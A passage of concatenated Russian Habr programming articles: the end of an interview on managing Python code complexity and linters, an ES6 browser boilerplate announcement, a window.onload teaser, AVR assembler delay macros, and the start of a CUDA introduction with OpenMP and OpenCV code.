Нет. Я бы даже сказал, что в плане сложности у Python все достаточно хорошо относительно других языков. В JavaScript действительно все плохо по одной простой причине: в коде проекта JS смешиваются сразу несколько сущностей, которые не относятся к самому языку — сторонние плагины и библиотеки, которые используются для сборки проекта. Например, если использовать Webpack, появляется возможность писать функцию `import()`, которая подгружает модули асинхронно. Получается, что сборщик засовывает какие-то свои внутренности в ваш язык программирования, и в итоге вообще непонятно, что происходит.
Управлять сложностью тяжело, когда язык меняется от установки Babel или плагинов к нему. А чтобы понять, как они работают, нужно следить за стандартами языка, за конкретной реализацией и т.д.
В Python ситуация намного лучше. Язык развивается достаточно планомерно, и у этого развития есть понятные вехи. В нем нельзя кардинально поменять синтаксис двумя строчками в конфиге. И это все-таки backend, к которому мы привыкли предъявлять более высокие требования, чем к frontend. Однако, по моему мнению, в Python довольно много новых изменений, которые ломают то, что было раньше, принося сомнительную пользу.
***— То есть с развитием языка все становится хуже?***
Если вспомнить, что появился AsyncIO — по сути второй язык внутри Python — конечно, сложность возросла очень сильно. По факту сейчас есть два абсолютно независимых языка программирования с похожим синтаксисом: Python и Python + AsyncIO. То есть Python как сущность стал сложнее ровно в два раза, потому что у него появилось два отдельных потомка, работающих по разным правилам.
Мнение о том, что это разные языки программирования, не популярно. Однако когда ты просишь противников этого мнения, например, запустить асинхронную функцию из синхронного кода — у них не получается. Библиотеки тоже абсолютно разные. Хочешь использовать синхронную библиотеку для работы с БД — пожалуйста. А хочешь асинхронную — ее нет.
Но в Python, на котором писали пять лет назад, особо ничего не поменялось и даже наоборот, появились инструменты, которые позволяют упрощать код, например, это аннотации и проверка типов.
***— Влияет ли на управление сложностью то, что в программировании сейчас довольно много людей со слабой технической базой?***
Конечно. Для таких людей даже специальный язык программирования придумали. Называется Go. Я не шучу. Действительно, целью создания языка Go была попытка вовлечения в написание кода студентов и стажеров Google, которые не могут освоить C++. Python им не подходил по производительности, нужно было что-то иное, и в Google придумали Go. Как оказалось, очень много людей готовы на нем писать, потому что он очень простой. Но какой ценой достигнута эта простота? Нам дают не нормальный язык программирования, а его очень урезанную версию — в нем нет практически никаких сложных концептов by design. Нет дженериков, нет такого понятия, как исключения и т.д. И поклонников такого подхода много.
Но есть и другие разработчики, и для них является проблемой то, что есть языки, в которых нет баланса: ты можешь делать простые вещи просто, а сложные ты не можешь делать вообще никак. Или хотя бы через боль — приходится бороться с инструментом, чтобы что-то сделать. Вот здесь, мне кажется, и кроется проблема управления сложностью.
***— Какие типовые проблемы есть у чужого кода?***
Обычно они разделены на две части.
Первая — проблемы, связанные с тем, что люди не могут договориться о том, где ставить условные запятые. Ты читаешь один код и видишь запятые в одном месте, переключаешься на другой файл — и видишь запятые в другом месте. Это усложняет восприятие, как если читать книги, напечатанной в одном месте жирным шрифтом, а в другом — курсивом. Это отвлекает от содержания, поскольку мозгу приходится распознавать, что это разный способ написания одного и того же.
Когда ты поправил синтаксис, начинаешь обращать внимание на семантику, потому что люди пишут концептуально по-разному. К сожалению, нет возможности договориться на этом уровне — нельзя прийти к соглашению, что мы решаем вот такие задачи так, а вот такие — эдак. Невозможно изначально покрыть все кейсы. Этот процесс происходит во время code review непосредственной задачи: когда разработчику объясняют, почему его решение не может быть принято. Если практика code review применяется и ревьюверы хорошие, они отсекают кривые решения и проблем в коде нет. Но обычно мы приходим на аудит туда, где такой процесс не налажен. И проблемы семантики и архитектуры решать намного сложнее, потому что их даже сформулировать и определить для себя порой непросто.
***— И как это выглядит на практике?***
Например, одну и ту же проблему люди могут решать в шаблонах, во вьюхах или в моделях. И нет общепринятого понимания, где конкретно эта задача должна быть решена: никакой документации или паттернов, применимых конкретно к этому проекту (например, здесь мы используем толстые модели и всю логику засовываем в них, а вот тут — тонкие; хорошо это или плохо, сейчас не важно, но мы так договорились).
***— В чем ты видишь главную причину того, что эти проблемы вообще существуют?***
Все люди не умеют писать код.
Это тезис расшифровывается следующим образом: проблема в том, что мы — люди. И нам вообще очень сложно написать что-то структурированное и логичное. А здесь у нас есть еще и два разнотипных получателя. Во-первых, это человек, который будет этот код читать, и во-вторых, это машина, которая должна его исполнять. Код для машины должен создаваться в соответствии с критериями производительности, потреблением памяти и процессорного времени, а код для человека — на основе принципов читаемости, понятности и т.д. Это две противоположные задачи. И человек, который по сути не может полноценно решить даже одну из них, вынужден решать обе противоречивые задачи одновременно.
***— Но ведь использование разных паттернов программирования — это по сути и есть инженерный поиск? Неужели это плохо?***
Конечно, инженерный поиск важен и нужен. Но он тоже должен быть управляем. Перед каждой подобной задачей необходимо выставлять четкие критерии и ограничения: по затраченному времени, по бизнес-требованиям, по инженерным практикам и инструментам.
Я гораздо чаще наблюдаю творческий поиск. Там таких ограничений нет, валидации полученных результатов тоже. Качество — как в современном искусстве — не поддается измерению.
Практически все клиенты, которые обращаются к нам за аудитом, страдают от типичной ситуации: кто-то им что-то сделал, они наняли разработчика, чтобы как-то развить решение, но тот пришел и развел руками: «Я вообще не знаю, что здесь делать, давайте все заново перепишем». Будет ли хорошо, если переписать? Не будет. Когда ты решаешь заново переписать, наступаешь ровно на те же грабли: ты доверяешь задачу другому разработчику, который делает другие ошибки, но в итоге все получается точно так же.
***— Нужен какой-то другой подход?***
Да. Во время аудита мы стараемся найти причину проблем с кодом: не почему кто-то взял и раздул модуль до состояния, что он скролится с трудом, а почему изначально было принято неправильное решение. И мы пытаемся автоматизировать или максимально упростить принятие правильных решений в рамках заданных ограничений.
Дам небольшой inside к докладу. У всех есть понимание того, что код состоит из строчек — это самая простая сущность, из которой он может состоять. Каждая строчка может быть написана как
`x = 1`,
а может быть как
`x = Math.median(forecast_data) if forecast_data else compute_probability(default_model)`.
Между этими двумя строчками очень большая разница, потому что первую ты легко понимаешь, а во второй сконцентрировано очень много логики. Нужно в голове ее выполнить параллельно с интерпретатором. Поэтому нужно начинать управлять тем, как ты пишешь код, с управления одной строчкой кода. Дальше строчка превращается в более сложные концепции — функции, классы, модули и т.д. Но правила, которые ты принимаешь, должны быть едины.
В итоге мы не занимаемся тем, что запрещаем делать многие вещи. Потому что управление — это про вменяемые запреты.
***— Попадались ли тебе какие-нибудь забавные вещи в чужом коде?***
Безусловно. У меня даже есть [репозиторий](https://github.com/sobolevn/python-code-disasters), где я собираю такие примеры кода.
Самый страшный пример, который я видел, продемонстрировал мне, что внутри цикла на сотню итераций можно определить функцию. Если честно, когда я на это смотрел, у меня внутри интерпретатор сломался. Я догадывался, но не знал, что так можно.
Был случай, когда мы видели в коде очень много смешных комментариев. Кто-то жаловался на жизнь, на работу, были и те, кто писал: «Понимаю, что пишу ерунду, но заказчик меня заставляет». Однако заказчики обычно не заставляют тебя писать плохой код. Они просят решить свою задачу, а уж какой код ты там напишешь, им вообще до лампочки.
***— Линтеры, code review — не спасают?***
У меня два ответа. Да, спасают. Нет, не спасают. Спасает, если четко следовать тем правилам и предписаниям, которые дают тебе прошаренные линтеры (те, кто за тебя делают много черновой работы: проверяют функции на сложность, семантику кода и т.п.). Этот элемент должен быть блокирующим. Нельзя просто иногда запускать линтер, чтобы посмотреть на результат. Если ты провалил эти правила, то ты вообще не должен выпускать код в продакшн.
Но по факту — не спасают. Потому что те проекты, которые это используют, встречаются редко.
Меня, кстати, часто спрашивают: а как это внедрить? И я отвечаю: очень просто, в CI ставишь строчку — проверить мой код — и если она падает, все, ты внедрил. Осталось только все отрефакторить. Благо, сейчас есть автоформатеры и возможность рефакторить код файл за файлом. Следующий вопрос традиционно: как объяснить бизнесу, что это важно?
***— Есть ли какой-то общий ответ на этот вопрос?***
Для каждого случая ответы разные, поэтому в общем случае сформулировать сложно (вам надо подумать о том, о сем…). Но обычно компании, которые обращаются с этой проблемой, идут именно с технической стороны. Т.е. технари просят нас, как людей, которые умеют и про бизнес поговорить, и про технику понимают, объяснить это бизнесу в их конкретном случае. При такой постановке задачи это очень просто работает. Когда ты приходишь, уже все плохо, и все это понимают. Разговор с бизнесом начинается так: «Вы, наверное, думаете, что ваши программисты сидят и ничего не делают?». И бизнес кивает головой. А ты говоришь, что дело не в этом. Программисты — замечательные ребята, которые пытаются решить ваши проблемы. Но без комплексного подхода к управлению проектом все сваливается в хаос, и это нормально.
И мы предлагаем вместе придумать правила, позволяющие избежать определенных проблем. Считаем стоимость внедрения разных штук, а потом оцениваем реальные (свершившиеся) потери от того, что таких штук пока нет. Например, программисты целый месяц правили баг, которого не существует или который можно найти за 30 секунд, если использовать определенный подход и инструмент. Цифры хорошо убеждают.
***— В итоге это административная проблема?***
Конечно. Я убежден, что программисты хотят писать хороший код. Но возникают разные препятствия. Кто-то не умеет по причине неопытности. Кто-то потерял мотивацию, потому что всем все равно. Кто-то не знает, что конкретно является хорошим кодом по причине, скажем так, творческих метаний. На кого-то давят — он хочет и может писать, но ему говорят, что это должно быть завтра. А вместо того, чтобы выстраивать партнерские отношения с бизнесом и объяснять, почему завтра этого не будет (или если будет, то потом еще три дня надо будет править), он делает абы как. А такие партнерские отношения интересны и самому бизнесу. Ему же нужно сделать так, чтобы это работало долго и было дешево в обслуживании.
То есть здесь все вопросы решаемы: нет неразрешимых противоречий.
***— Есть же code style — PEP 8. Это не помогает быстро понять, что же хорошо?***
В плане запятых — помогает. Но что толку, если ты поставишь запятые правильно, а все остальное будет плохо?
***— Не хватает какой-то общеизвестной более высокоуровневой штуки?***
В теории есть некие лучшие инженерные практики. Но они либо неизвестны, либо игнорируются. Когда ты спрашиваешь, почему разработчик не следовал такой практике, он говорит, что вроде слышал, что это хорошая тема, но код и так работает. Когда код перестает работать, ты спрашиваешь понял ли он, откуда вообще взялась соответствующая лучшая практика и зачем ее соблюдать? Нет, не понял. Он считает, что просто ошибся.
Довольно сложно объяснять человеку, что ошибаться — это нормально. Все ошибаются, мы все люди. Но лучшая инженерная практика как раз и была придумана, чтобы спасти тебя от ошибки или защитить от последствий. Т.е. это некий инструмент техники безопасности, как на предприятиях. Только написан он не кровью, а угробленным временем и деньгами.
Вообще наша недостижимая глобальная задача — автоматизировать code review, чтобы сам Python (если мы говорим про наш случай) знал, как нужно его писать. Это должен быть инструмент, который поставляет не только возможности, но и ограничения для разработчиков.
**— Зачем ты вообще разрабатываешь линтер? Нельзя ли использовать (или развивать) существующие?**
На самом деле мы так и делаем. Наш линтер по факту является плагином для Flake8. Просто позиционируем его именно как полноценный инструмент, а не просто плагин.
Почему Flake8, а не Pylint? Pylint делает очень много того, чего именно линтер делать не должен. Например, в нем реализовано очень большое количество проверок на тип, хотя типами должен заниматься type checker. Плюс он выдает очень большое количество ошибок, которых на самом деле нет. А еще мне не нравится его документация, и меня пугает его собственная реализация ast. Он сложен в настройке. Давая возможность конфигурации, ты позволяешь людям сделать неправильный выбор. Поэтому у нас задача — сделать инструмент, который нельзя конфигурировать. Чтобы ты его поставил — и все.
***— Какие гайды легли в основу этого линтера? Или здесь только твой собственный опыт?***
Сейчас в его основе правила, которые мы многие годы формулировали для себя на code review. Какие-то правила портировали из других линтеров: ESLint, Pylint, SonarQube, Credo. Многое взяли из прекрасной работы [«CognitiveComplexity»](https://www.sonarsource.com/docs/CognitiveComplexity.pdf). Всегда оглядывались на Кошелек Миллера. Отдельные правила — это мое видение, появившееся после оценки большого количества чужого кода. То есть на данном этапе это «сборная солянка».
***— О чем ты будешь рассказывать на Moscow Python Conf ++?***
В первую очередь — про [управление сложностью](https://conf.python.ru/2018/abstracts/4150). Эта тема близка и понятна всем разработчикам. Мы посмотрим на разные метрики, на способы переносить сложности из самого простого составляющего кода — строчки — на самый сложный — модуль. А потом поговорим о холиварной части, где я изложу свое видение того, как нужно или не нужно писать на Python, и попрошу пользователей проголосовать, что им нравится, а что — нет. Для многих разработчиков ограничения (делать А, но не делать В) — покушение на их творческое пространство, поэтому они очень бурно на это реагируют. И вот как раз здесь можно развязать интересную дискуссию.
***— На кого ориентирован доклад?***
Я думаю, что это все-таки сложившиеся разработчики, потому что начинающие программисты еще не сформировали своего четкого мнения. Хотя и им будет интересно послушать и высказаться. Они точно являются нашими пользователями.
---
Друзья, спешим напомнить, что до нашей [Moscow Python Conf++](https://conf.python.ru/) осталось меньше месяца. В этом году на ней будет более трех десятков выступлений и целая серия митапов. Финальная программа будет анонсирована на днях, а пока можно ознакомиться с [общим списком](https://conf.python.ru/2018/abstracts/) докладов. | https://habr.com/ru/post/424393/ | null | ru | null |
# Разработка на ES6 для браузеров
Доброго времени суток.
Поддержка нового стандарта EcmaScript 6 в браузерах все ближе и ближе, и тем кому не терпится начать разрабатывать с использованием новых возможностей ES6 предлагаю взглянуть на шаблонный проект для этой цели.
**Представляю вашему вниманию** [github.com/DavidKlassen/es6-browser-boilerplate](https://github.com/DavidKlassen/es6-browser-boilerplate).
В основу шаблона лег [github.com/babel/babel-library-boilerplate](https://github.com/babel/babel-library-boilerplate), но gulpfile.js был основательно почищен и упрощен. Многие зависимости я убрал и оставил возможности, которые необходимы для разработки приложений для браузеров.
Основные цели, которые я преследовал:
-------------------------------------
* Шаблон должен быть хорошей стартовой точкой для разработки SPA и third party SDK.
* Минималистичность и расширяемость.
* Весь код, то есть и само приложение и тесты можно писать на ES6.
Рабочее окружение
-----------------
Требования к рабочему окружению достаточно стандартные и скорее всего, если вы разрабатываете на JavaScript у вас уже все установлено. Вам потребуется [NodeJS](https://nodejs.org/download/) либо [io.js](https://iojs.org/en/index.html), [NPM](https://www.npmjs.com/), [Gulp](https://github.com/gulpjs/gulp/blob/master/docs/getting-started.md), ~~[Bower](http://bower.io/) и Java 7+ (java нужна, т. к. для минификации используется Google Closure Compiler)~~ см. UPD2.
Возможности шаблона
-------------------
* Для поддержки синтаксиса ES6 используется компилятор [Babel](https://babeljs.io/).
* Проверка качества кода обеспечивается двумя утилитами, [ESLint](http://eslint.org/) и [JSCS](http://jscs.info/).
* За сборку проекта отвечает [browserify](http://browserify.org/) и [babelify](https://github.com/babel/babelify).
* Минификацию кода делает ~~[Google Closure Compiler](https://developers.google.com/closure/compiler/)~~ [UglifyJS2](https://github.com/mishoo/UglifyJS2).
* Unit тесты используют [mocha](http://mochajs.org/), [chai](http://chaijs.com/) и [sinon](http://sinonjs.org/).
* Отчет о покрытии кода тестами генерируется с помощью [istanbul](https://github.com/gotwarlost/istanbul) и [isparta](https://github.com/douglasduteil/isparta).
* Integration тесты запускаются в [karma](https://github.com/karma-runner/karma).
* В качестве таск раннера используется [Gulp](http://gulpjs.com/).
Как использовать
----------------
Скачать и подготовить проект к работе очень просто:
```
$ git clone git@github.com:DavidKlassen/es6-browser-boilerplate.git
$ cd es6-browser-boilerplate
$ npm run setup
```
После этого можно удалить .git и начинать кодить.
Список доступных задач gulp:
* `gulp lint` — запускает проверку качества кода с помощью ESLint и JSCS.
* `gulp test:unit` — запускает unit тесты.
* `gulp coverage` — запускае unit тесты и генерирует отчет о покрытии кода тестами.
* `gulp test:integration` — запускает интеграционные тесты в браузере с помощью karma.
* `gulp test` — запускает все тесты.
* `gulp browserify` — собирает скрипт готовый для использования в браузере.
* `gulp compile` — собирает минифицированную версию скрипта.
* `gulp build` — собирает обе версии скрипта.
* `gulp` — дефолтная задача, запускает проверку кода, тесты и сборку проекта.
Вещи которые хотелось бы улучшить
---------------------------------
Помимо всяческих мелочей типа подключения test-frameworks глобально для всех файлов с тестами и мелких улучшений в gulpfile, хотелось бы подключить возможность использования Google Closure Compiler в режиме ADVANCED\_OPTIMIZATIONS и статический анализ типов на основе аннотаций gcc.
Ну и конечно же я жду отзывов, пожеланий и пулреквестов. Спасибо за внимание! :)
**UPD:** В коментариях возник спор о распространенности Java на машинах разработчиков, так что добавляю голосовалку. Если не уверены есть ли java на вашей машине или нет, запускаем: `java -version`
**UPD2:** По просьбам трудящихся заменил google closure compliler на uglifyjs. | https://habr.com/ru/post/261389/ | null | ru | null |
# Практический JS: «отложенная» загрузка
*Примечание: ниже представлен перевод двух последовательных статей [«The window.onload Problem — Solved!»](http://dean.edwards.name/weblog/2005/09/busted/) и [«window.onload (again)»](http://dean.edwards.name/weblog/2006/06/again/), посвященных оптимизации исполнению скриптов при загрузке страницы, эта проблема была предварительно затронута в статье: [«Как JavaScript тормозит Веб (и что с этим делать)?»](http://www.habrahabr.ru/blog/webdev/23315.html)*
Для начала определимся с самой проблемой. Событие `window.onload` используется программистами для старта их веб-приложения. Это может быть что-то довольно простое, например, выпадающее меню, а может быть и совсем сложное, как пример, запуск почтового приложения. Суть проблемы заключается в том, что событие `onload` срабатывает только после того, как загрузится вся страница (включая все картинки и другое бинарное содержимое). Если на странице много картинок, то можно заметить некоторую задержку между загрузкой страницы и тем моментом, когда она начнет фактически работать. На самом деле, нам нужно только узнать способ определить, когда DOM полностью загрузится, а не ждать еще и загрузку картинок.
[читать дальше на webo.in →](http://webo.in/articles/habrahabr/05-delayed-loading/ "полный текст") | https://habr.com/ru/post/31230/ | null | ru | null |
# Реализация Задержки в AVR assembler без таймеров
##### **А зачем?**
Переходя с Си на ассемблер (нужда появилась) обнаружил для себя плохую вещь, на нем нет любимой функции \_delay\_ms(long millisecond) (поиск в интернете ничего не дал, может искал плохо), писать 8000 пустых команд (для 8 Мгц чтобы 1 мс удержать) конечно бред, отсюда появилась идея написать свой Delay.
##### **Шаг За Шагом**
Вдохновленный своей идеей, конечно же сразу кинулся в бой, особо ничего не продумывая, решил сразу отмерять в миллисекундах. Код был успешно написан,
```
.macro DELAY_MS
push R16
push R17
push R24
push R28
ldi R28, LOW(@0)
ldi R24, HIGH(@0)
rjmp cycMKS
cycSEK:
subi R24,1
ldi R28, 255
cycMKS:
cpi R28, 1
brlo decMKS
subi R28,1
ldi R16, LOW(@1/1000)
ldi R17, HIGH(@1/1000)
rjmp _delay_c
new_cycle:
subi R17, 1
ldi R16, 255
_delay_c:
subi R16, 4
cpi R16, 4
brsh _delay_c
NOP
NOP
cpi R17, 0
brne new_cycle
rjmp cycMKS
decMKS:
cpi R24,0
brne cycSEK
pop R28
pop R24
pop R17
pop R16
.endm
```
Для разработки использую AVR Studio 4 + gcc, соответственно и тестировал код тоже там. Результат по окончании отладки:
…
.equ F\_CPU = 8000000; Частота в Гц
…
DELAY\_MS 4, F\_CPU; подстановка макроса для 4 мс
…
Слишком большая погрешность, растущая при увеличении величины задержки, прямо ударила по глазу, оптимизировать написанное стало более не возможно. Решил пойти по порядку, написать сначала счетчик Циклов для 1 байта, 2 байтов, и уже после, склеив все это, получить задержку в миллисекундах.
Результатом явилось 3 макроса:
```
; Задержка в циклах
; @0 – параметр в диапазоне 9-255 (количество циклов)
.macro DELAY_CL
;push R16
ldi R16, LOW(@0)-5
_delay_cl:
subi R16, 4
cpi R16, 4
brsh _delay_cl
cpi R16, 1
breq end_cl_1
cpi R16, 0
breq end_cl
cpi R16, 2
breq end_cl
rjmp end_cl
end_cl_1:
NOP
NOP
NOP
end_cl:
.endm
```
```
; Задержка в циклах
; @0 – параметр в диапазоне 15-65535 (количество циклов)
.macro DELAY_C
ldi R16, LOW(@0)
cpi R16, 17
brsh fault
rjmp init_R17
fault:
DELAY_CL LOW(@0-7)
init_R17:
ldi R17, HIGH(@0)
cpi R17, 0
breq end_c
new_cycle:
subi R17, 1
DELAY_CL 252
cpi R17, 0
brne new_cycle
NOP
end_c:
.endm
```
Циклы в соответствующих диапазонах считает точно.
```
; Задержка в милесекундах
; @0 – параметр в диапазоне 1 – 65535 (количество миллисекунд)
; @1 – Частота в Герцах ( >= 1,3 MHz)
.macro DELAY_MS
push R19
push R18
push R17
push R16
ldi R18, LOW(@0)
ldi R19, HIGH(@0)
cpi R18, 0
breq re_init
_cicl_msl:
DELAY_C @1/1000
subi R18, 1
cpi R18, 0
breq re_init
rjmp _cicl_msl
re_init:
cpi R19, 0
breq _end_c
subi R19, 1
ldi R18, 255
DELAY_C (@1/1000)-255*5
rjmp _cicl_msl
_end_c:
pop R16
pop R17
pop R18
pop R19
.endm
```
Результаты этого кода более успешны:
Для 1 мс (Atmega8535, F\_CPU = 8001000 Hz)
Для 300мс (Atmega8535, F\_CPU = 8001000 Hz)
Для 32с (Atmega8535, F\_CPU = 8001000 Hz)
Для 300мс (Atmega6490, F\_CPU = 4000000 Hz)
Для 300мс (ATtiny43U, F\_CPU = 2000000 Hz)
Погрешность лежит в диапазоне ~4-150 микросекунд. Этого вполне достаточно.
Хотел бы изменить макрос DELAY\_MS на подпрограмму (логично, встраивать при каждом вызове столько кода не разумно), но с ассемблером ковыряюсь недели 2, и пока не понял, как вынести все это в отдельный модуль, и сделать функцию в нем соответствующую. | https://habr.com/ru/post/167319/ | null | ru | null |
# Параллельное программирование с CUDA. Часть 1: Введение
#### Еще одна статья о CUDA — зачем?
На Хабре было уже немало хороших статей по CUDA — [раз](http://habrahabr.ru/post/119435/), [два](http://habrahabr.ru/post/54707/) и другие. Однако, поиск комбинации «CUDA [scan](http://http.developer.nvidia.com/GPUGems3/gpugems3_ch39.html)» выдал всего 2 статьи никак не связанные с, собственно, алгоритмом scan на GPU — а это один из самых базовых алгоритмов. Поэтому, вдохновившись только что просмотренным курсом на Udacity — [Intro to Parallel Programming](https://www.udacity.com/course/cs344), я и решился написать более полную серию статей о CUDA. Сразу скажу, что серия будет основываться именно на этом курсе, и если у вас есть время — намного полезнее будет пройти его.
#### Содержание
На данный момент планируются следующие статьи:
**Часть 1: Введение.**
[Часть 2: Аппаратное обеспечение GPU и шаблоны параллельной коммуникации.](http://habrahabr.ru/company/epam_systems/blog/245523/)
[Часть 3: Фундаментальные алгоритмы GPU: свертка (reduce), сканирование (scan) и гистограмма (histogram).](http://habrahabr.ru/company/epam_systems/blog/247805/)
Часть 4: Фундаментальные алгоритмы GPU: уплотнение (compact), сегментированное сканирование (segmented scan), сортировка. Практическое применение некоторых алгоритмов.
Часть 5: Оптимизация GPU программ.
Часть 6: Примеры параллелизации последовательных алгоритмов.
Часть 7: Дополнительные темы параллельного программирования, динамический параллелизм.
#### Задержка vs пропускная способность
Первый вопрос, который должен задать каждый перед применением GPU для решения своих задач — а для каких целей хорош GPU, когда стоит его применять? Для ответа нужно определить 2 понятия:
**Задержка** (latency) — время, затрачиваемое на выполнение одной инструкции/операции.
**Пропускная способность** — количество инструкций/операций, выполняемых за единицу времени.
Простой пример: имеем легковой автомобиль со скоростью 90 км/ч и вместимостью 4 человека, и автобус со скоростью 60 км/ч и вместимостью 20 человек. Если за операцию принять перемещение 1 человека на 1 километр, то задержка легкового автомобиля — 3600/90=40с — за столько секунд 1 человек преодолеет расстояние в 1 километр, пропускная способность автомобиля — 4/40=0.1 операций/секунду; задержка автобуса — 3600/60=60с, пропускная способность автобуса — 20/60=0.3(3) операций/секунду.
Так вот, CPU — это автомобиль, GPU — автобус: он имеет большую задержку но также и большую пропускную способность. Если для вашей задачи задержка каждой конкретной операции не настолько важна как количество этих операций в секунду — стоит рассмотреть применение GPU.
#### Базовые понятия и термины CUDA
Итак, разберемся с терминологией CUDA:
* **Устройство (device)** — GPU. Выполняет роль «подчиненного» — делает только то, что ему говорит CPU.
* **Хост (host)** — CPU. Выполняет управляющую роль — запускает задачи на устройстве, выделяет память на устройстве, перемещает память на/с устройства. И да, использование CUDA предполагает, что как устройство так и хост имеют свою отдельную память.
* **Ядро (kernel)** — задача, запускаемая хостом на устройстве.
При использовании CUDA вы просто пишете код на своем любимом языке программирования ([список](http://en.wikipedia.org/wiki/CUDA#Language_bindings) поддерживаемых языков, не учитывая С и С++), после чего компилятор CUDA сгенерирует код отдельно для хоста и отдельно для устройства. Небольшая оговорка: код для устройства должен быть написан только на языке C с некоторыми 'CUDA-расширениями'.
#### Основные этапы CUDA-программы
1. Хост выделяет нужное количество памяти на устройстве.
2. Хост копирует данные из своей памяти в память устройства.
3. Хост стартует выполнение определенных ядер на устройстве.
4. Устройство выполняет ядра.
5. Хост копирует результаты из памяти устройства в свою память.
Естественно, для наибольшей эффективности использования GPU нужно чтобы соотношение времени, потраченного на работу ядер, к времени, потраченному на выделение памяти и перемещение данных, было как можно больше.
#### Ядра
Рассмотрим более детально процесс написания кода для ядер и их запуска. Важный принцип — **ядра пишутся как (практически) обычные последовательные программы** — то-есть вы не увидите создания и запуска потоков в коде самих ядер. Вместо этого, для организации параллельных вычислений **GPU запустит большое количество копий одного и того же ядра в разных потоках** — а точнее, вы сами говорите сколько потоков запустить. И да, возвращаясь к вопросу эффективности использования GPU — чем больше потоков вы запускаете (при условии что все они будут выполнять полезную работу) — тем лучше.
Код для ядер отличается от обычного последовательного кода в таких моментах:
1. Внутри ядер вы имеете возможность узнать «идентификатор» или, проще говоря, позицию потока, который сейчас выполняется — используя эту позицию мы добиваемся того, что одно и то же ядро будет работать с разными данными в зависимости от потока, в котором оно запущено. Кстати, такая организация параллельных вычислений называется [SIMD](http://en.wikipedia.org/wiki/SIMD) (Single Instruction Multiple Data) — когда несколько процессоров выполняют одновременно одну и ту же операцию но на разных данных.
2. В некоторых случаях в коде ядра необходимо использовать различные способы синхронизации.
Каким же образом мы задаем количество потоков, в которых будет запущено ядро? Поскольку GPU это все таки **Graphics** Processing Unit, то это, естественно, повлияло на модель CUDA, а именно на способ задания количества потоков:
* Сначала задаются размеры так называемой сетки (grid), в 3D координатах: *grid\_x, grid\_y, grid\_z*. В результате, сетка будет состоять из *grid\_x\*grid\_y\*grid\_z* блоков.
* Потом задаются размеры блока в 3D координатах: *block\_x, block\_y, block\_z*. В результате, блок будет состоять из *block\_x\*block\_y\*block\_z* потоков. Итого, имеем *grid\_x\*grid\_y\*grid\_z\*block\_x\*block\_y\*block\_z* потоков. Важное замечание — максимальное количество потоков в одном блоке ограничено и зависит от модели GPU — типичны значения 512 (более старые модели) и 1024 (более новые модели).
* Внутри ядра доступны переменные **threadIdx** и **blockIdx** с полями **x, y, z** — они содержат 3D координаты потока в блоке и блока в сетке соответственно. Также доступны переменные **blockDim** и **gridDim** с теми же полями — размеры блока и сетки соответственно.
Как видите, данный способ запуска потоков действительно подходит для обработки 2D и 3D изображений: например, если нужно определенным образом обработать каждый пиксел 2D либо 3D изображения, то после выбора размеров блока (в зависимости от размеров картинки, способа обработки и модели GPU) размеры сетки выбираются такими, чтобы было покрыто все изображение, возможно, с избытком — если размеры изображения не делятся нацело на размеры блока.
#### Пишем первую программу на CUDA
Довольно теории, время писать код. Инструкции по установке и конфигурации CUDA для разных ОС — [docs.nvidia.com/cuda/index.html](http://docs.nvidia.com/cuda/index.html). Также, для простоты работы с файлами изображений будем использовать [OpenCV](http://opencv.org), а для сравнения производительности CPU и GPU — [OpenMP](http://openmp.org/wp/).
Задачу поставим довольно простую: конвертация цветного изображения в [оттенки серого](https://ru.wikipedia.org/wiki/Оттенки_серого). Для этого, яркость пиксела *pix* в серой шкале считается по формуле: *Y* = *0.299\*pix.R + 0.587\*pix.G + 0.114\*pix.B*.
Сначала напишем скелет программы:
**main.cpp**
```
#include
#include
#include
#include
#include
#include
#include
#include
#include "openMP.hpp"
#include "CUDA\_wrappers.hpp"
#include "common/image\_helpers.hpp"
using namespace cv;
using namespace std;
int main( int argc, char\*\* argv )
{
using namespace std::chrono;
if( argc != 2)
{
cout <<" Usage: convert\_to\_grayscale imagefile" << endl;
return -1;
}
Mat image, imageGray;
uchar4 \*imageArray;
unsigned char \*imageGrayArray;
prepareImagePointers(argv[1], image, &imageArray, imageGray, &imageGrayArray, CV\_8UC1);
int numRows = image.rows, numCols = image.cols;
auto start = system\_clock::now();
RGBtoGrayscaleOpenMP(imageArray, imageGrayArray, numRows, numCols);
auto duration = duration\_cast(system\_clock::now() - start);
cout<<"OpenMP time (ms):" << duration.count() << endl;
memset(imageGrayArray, 0, sizeof(unsigned char)\*numRows\*numCols);
RGBtoGrayscaleCUDA(imageArray, imageGrayArray, numRows, numCols);
return 0;
}
```
Тут все довольно очевидно — читаем файл с изображением, подготавливаем указатели на цветное и в оттенках серого изображение, запускаем вариант
с OpenMP и вариант с CUDA, замеряем время. Функция *prepareImagePointers* имеет следующий вид:
**prepareImagePointers**
```
template
void prepareImagePointers(const char \* const inputImageFileName,
cv::Mat& inputImage,
T1\*\* inputImageArray,
cv::Mat& outputImage,
T2\*\* outputImageArray,
const int outputImageType)
{
using namespace std;
using namespace cv;
inputImage = imread(inputImageFileName, IMREAD\_COLOR);
if (inputImage.empty())
{
cerr << "Couldn't open input file." << endl;
exit(1);
}
//allocate memory for the output
outputImage.create(inputImage.rows, inputImage.cols, outputImageType);
cvtColor(inputImage, inputImage, cv::COLOR\_BGR2BGRA);
\*inputImageArray = (T1\*)inputImage.ptr(0);
\*outputImageArray = (T2\*)outputImage.ptr(0);
}
```
Я пошел на небольшую хитрость: дело в том, что мы выполняем очень мало работы на каждый пиксел изображения — то-есть при варианте с CUDA встает упомянутая выше проблема соотношения времени выполнения полезных операций к времени выделения памяти и копирования данных, и в результате общее время CUDA варианта будет больше OpenMP варианта, а мы же хотим показать что CUDA быстрее:) Поэтому для CUDA будет измеряться только время, потраченное на выполнение собственно конвертации изображения — без учета операций с памятью. В свое оправдание скажу, что для большого класса задач время полезной работы будет все-таки доминировать, и CUDA будет быстрее даже с учетом операций с памятью.
Далее напишем код для OpenMP варианта:
**openMP.hpp**
```
#include
#include
#include
void RGBtoGrayscaleOpenMP(uchar4 \*imageArray, unsigned char \*imageGrayArray, int numRows, int numCols)
{
#pragma omp parallel for collapse(2)
for (int i = 0; i < numRows; ++i)
{
for (int j = 0; j < numCols; ++j)
{
const uchar4 pixel = imageArray[i\*numCols+j];
imageGrayArray[i\*numCols+j] = 0.299f\*pixel.x + 0.587f\*pixel.y+0.114f\*pixel.z;
}
}
}
```
